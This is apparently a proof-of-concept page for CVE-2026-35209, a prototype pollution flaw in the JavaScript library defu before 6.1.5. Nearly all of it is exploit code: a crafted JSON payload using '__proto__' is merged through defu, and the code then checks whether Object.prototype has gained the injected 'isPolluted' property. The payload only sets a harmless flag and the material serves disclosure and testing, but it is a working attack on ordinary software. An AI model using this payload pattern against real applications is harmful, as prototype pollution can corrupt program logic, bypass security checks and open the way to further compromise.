CVE-2026-35209 defu原型污染漏洞

// PoC for CVE-2026-35209 (Prototype Pollution in defu < 6.1.5) // This demonstrates how a crafted payload can pollute the object prototype. const { defu } = require('defu'); // Assuming vulnerable version < 6.1.5 console.log("Testing CVE-2026-35209..."); // 1. Craft a malicious payload containing '__proto__' // This payload intends to inject a property 'isPolluted' into Object.prototype const maliciousInput = JSON.parse('{"__proto__": {"isPolluted": true}}'); // 2. Define default options const defaults = { setting1: "value1", setting2: "value2" }; // 3. Call defu with unsanitized user input (maliciousInput) // In vulnerable versions, the internal _defu function uses Object.assign({}, defaults) // which invokes the __proto__ setter. const mergedResult = defu(maliciousInput, defaults); // 4. Verify the prototype pollution // Create an empty object. If polluted, it should inherit 'isPolluted'. const checkObj = {}; if (checkObj.isPolluted === true) { console.log("[SUCCESS] Vulnerability confirmed! Object.prototype is polluted."); console.log("Empty object property 'isPolluted':", checkObj.isPolluted); } else { console.log("[FAIL] Vulnerability not triggered or patched."); } // Output the merged result to see the structure console.log("Merged Result:", mergedResult);